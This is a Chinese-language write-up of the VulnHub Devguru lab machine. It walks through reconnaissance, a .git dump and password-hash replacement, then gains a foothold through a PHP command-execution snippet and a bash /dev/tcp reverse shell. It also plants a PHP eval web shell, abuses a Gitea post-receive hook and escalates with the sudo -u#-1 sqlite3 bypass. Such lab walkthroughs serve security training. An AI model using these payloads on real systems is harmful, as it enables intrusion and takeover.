VulnHub - Devguru

VulnHub - Devguru

信息收集


端口扫描


Port Service Version
22/tcp ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp http Apache httpd 2.4.29 ((Ubuntu))
8585/tcp unknown unknown

Web 路径枚举


80 端口


1
dirsearch -u "http://192.168.0.106" -t 60 -e * -x 404,403 --json-report report/output/dirsearch_80_output.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
[11:41:56] 301 -  316B  - /plugins  ->  http://192.168.0.106/plugins/ 
[11:41:57] 301 -  313B  - /.git  ->  http://192.168.0.106/.git/
[11:41:57] 200 -   13B  - /.git/COMMIT_EDITMSG
[11:41:57] 200 -   23B  - /.git/HEAD
[11:41:57] 200 -  276B  - /.git/config
[11:41:57] 200 -   73B  - /.git/description
[11:41:57] 200 -  308KB - /.git/index
[11:41:57] 200 -  240B  - /.git/info/exclude
[11:41:57] 301 -  323B  - /.git/logs/refs  ->  http://192.168.0.106/.git/logs/refs/
[11:41:57] 200 -  158B  - /.git/logs/HEAD
[11:41:57] 301 -  331B  - /.git/logs/refs/remotes  ->  http://192.168.0.106/.git/logs/refs/remotes/
[11:41:57] 301 -  338B  - /.git/logs/refs/remotes/origin  ->  http://192.168.0.106/.git/logs/refs/remotes/origin/
[11:41:57] 200 -  158B  - /.git/logs/refs/heads/master
[11:41:57] 200 -  142B  - /.git/logs/refs/remotes/origin/master
[11:41:57] 301 -  329B  - /.git/logs/refs/heads  ->  http://192.168.0.106/.git/logs/refs/heads/
[11:41:57] 301 -  324B  - /.git/refs/heads  ->  http://192.168.0.106/.git/refs/heads/
[11:41:57] 301 -  326B  - /.git/refs/remotes  ->  http://192.168.0.106/.git/refs/remotes/
[11:41:57] 200 -   41B  - /.git/refs/heads/master
[11:41:57] 301 -  333B  - /.git/refs/remotes/origin  ->  http://192.168.0.106/.git/refs/remotes/origin/
[11:41:57] 200 -   41B  - /.git/refs/remotes/origin/master
[11:41:57] 301 -  323B  - /.git/refs/tags  ->  http://192.168.0.106/.git/refs/tags/
[11:41:57] 200 -  413B  - /.gitignore
[11:41:59] 200 -    2KB - /.htaccess
[11:42:10] 200 -   12KB - /0
[11:42:14] 200 -   18KB - /About
[11:42:16] 200 -    1KB - /README.md
[11:42:24] 200 -   18KB - /about
[11:42:32] 200 -    4KB - /adminer.php
[11:42:38] 302 -  410B  - /backend/  ->  http://192.168.0.106/backend/backend/auth
[11:42:44] 301 -  315B  - /config  ->  http://192.168.0.106/config/
[11:43:01] 200 -   12KB - /index.php
[11:43:09] 301 -  316B  - /modules  ->  http://192.168.0.106/modules/
[11:43:26] 200 -   10KB - /services/
[11:43:26] 200 -   10KB - /services
[11:43:28] 301 -  316B  - /storage  ->  http://192.168.0.106/storage/
[11:43:31] 301 -  315B  - /themes  ->  http://192.168.0.106/themes/

full_2021-04-29-11-43-45


1
http://devguru.local/adminer.php

full_2021-04-29-11-54-18


1
http://devguru.local/backend/backend/auth 

full_2021-04-29-19-12-33


两个后台都需要登录凭证


8585 端口


1
dirsearch -u "http://192.168.0.106:8585" -t 60 -e * -x 404,403 --json-report report/output/dirsearch_8585_output.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[11:45:00] Starting:  
[11:45:15] 302 -   34B  - /admin  ->  /user/login
[11:45:16] 302 -   34B  - /admin/  ->  /user/login
[11:45:16] 302 -   34B  - /admin/?/login  ->  /user/login
[11:45:18] 200 -  575B  - /api/swagger
[11:45:20] 302 -   27B  - /css  ->  /css
[11:45:21] 200 -  160B  - /debug
[11:45:21] 200 -  160B  - /debug/
[11:45:22] 302 -   37B  - /explore  ->  /explore/repos
[11:45:22] 302 -   29B  - /fonts  ->  /fonts
[11:45:25] 302 -   27B  - /img  ->  /img
[11:45:25] 302 -   34B  - /issues  ->  /user/login
[11:45:25] 302 -   26B  - /js  ->  /js
[11:45:26] 200 -  670B  - /manifest.json
[11:45:27] 200 -   10KB - /explore/repos
[11:45:38] 200 -    9KB - /user/login/

full_2021-04-29-11-45-46


git dump


利用 Git-Dumper 下载 repo

1
git-dumper http://devguru.local/.git .

git


config/database.php 中得到了数据库的凭证,可以登录数据库管理的后台:


1
http://devguru.local/backend/backend/auth 

database.php


漏洞发现


登录 mysql 后台


full_2021-04-29-19-27-26


在表 backend_users 中找到一个无法解密的用户凭证,这里可以直接修改加密密码为一个新的密码,也可以添加一个新的用户凭证


新建用户


新建用户


新建用户


登录 CMS 后台


替换密码


生成新的密码,替换未解密的密码

1
https://bcrypt-generator.com/

新的密码


漏洞利用


命令执行


CMS 页面下的 HOME 项,在 Markup 添加如下代码

1
{{ page.this.runCmd }}

在 Code 添加如下代码

1
2
3
4
function onStart()
{
$this->page["runCmd"] = system($_GET["cmd"]);
}

markup

code


Save 以后,选择 Preview,并执行命令

1
http://devguru.local/?cmd=id

full_2021-04-29-21-01-15


reverse shell


1
bash -c 'exec bash -i &>/dev/tcp/192.168.0.108/8848 <&1'

full_2021-04-29-21-07-28


后渗透


C2


使用 phpsploit 比 nc 要方便多了,metasploit 也可以

写入 payload (/var/www/html)

1
echo '<?php @eval($_SERVER["HTTP_PHPSPL01T"]); ?>' > shell.php

设置 C2

1
2
> set TARGET http://devguru.local/shell.php
> exploit

full_2021-05-03-16-37-04


full_2021-05-03-16-37-39


系统内部信息收集



发现敏感文件

敏感文件


下载 app.ini.bak 到本地检查后,从中得到 gitea 数据库的凭证

1
> download app.ini.bak /tmp

download


database


登录 Mysql


full_2021-05-03-16-55-03


full_2021-05-03-17-02-40


full_2021-05-03-18-02-15


登录 Gitea


go-gitea 是开源的,找到相关的代码,生成新的密码 hash

1
https://github.com/go-gitea/gitea/blob/master/models/user.go#L383-L401

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
func hashPassword(passwd, salt, algo string) string {
var tempPasswd []byte

switch algo {
case algoBcrypt:
tempPasswd, _ = bcrypt.GenerateFromPassword([]byte(passwd), bcrypt.DefaultCost)
return string(tempPasswd)
case algoScrypt:
tempPasswd, _ = scrypt.Key([]byte(passwd), []byte(salt), 65536, 16, 2, 50)
case algoArgon2:
tempPasswd = argon2.IDKey([]byte(passwd), []byte(salt), 2, 65536, 8, 50)
case algoPbkdf2:
fallthrough
default:
tempPasswd = pbkdf2.Key([]byte(passwd), []byte(salt), 10000, 50, sha256.New)
}

return fmt.Sprintf("%x", tempPasswd)
}

生成新 Hash:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package main

import (
"crypto/sha256"
"fmt"

"golang.org/x/crypto/pbkdf2"
)

func main() {
var tempPasswd []byte
var passwd, salt string

passwd = "callme" // 自定义
salt = "AaaaaBbbbb" // 自定义

tempPasswd = pbkdf2.Key([]byte(passwd), []byte(salt), 10000, 50, sha256.New)

fmt.Println(fmt.Sprintf("%x",tempPasswd))
}

1
f1558adac8fddf102f3d5caf42d8648ad01c4bd6d6041f2e7885cb164384031f1172939535eb6ae7ca190101638b4e59cfb7

code


gitea


进一步利用


Remote Code Execution using git hooks


搜索相关的信息:git hook reverse shell


检查 gitea 版本

gitea version


post-receive 下写入命令

1
2
#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/192.168.0.108/8848 <&1'

post-receive


下一步,在攻击方 PC 执行命令:

监听端口

1
rlwrap nc -lvnp 8848

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
git clone http://devguru.local:8585/imin/shell.git

cd shell/

touch README.txt

git add .

git config user.name imin

git config user.email imin@devguru.local

git commit -m 'Add README.txt'

git push origin master

get shell


User.txt


user.txt


权限提升


收集提权信息


sudo -l

1
2
User frank may run the following commands on devguru:
(ALL, !root) NOPASSWD: /usr/bin/sqlite3

sqlite3 到 shell:


当前 sudo 版本存在安全绕过漏洞


full_2021-05-04-20-44-01


exploit

1
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

full_2021-05-04-20-52-16


root.txt


root.txt


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!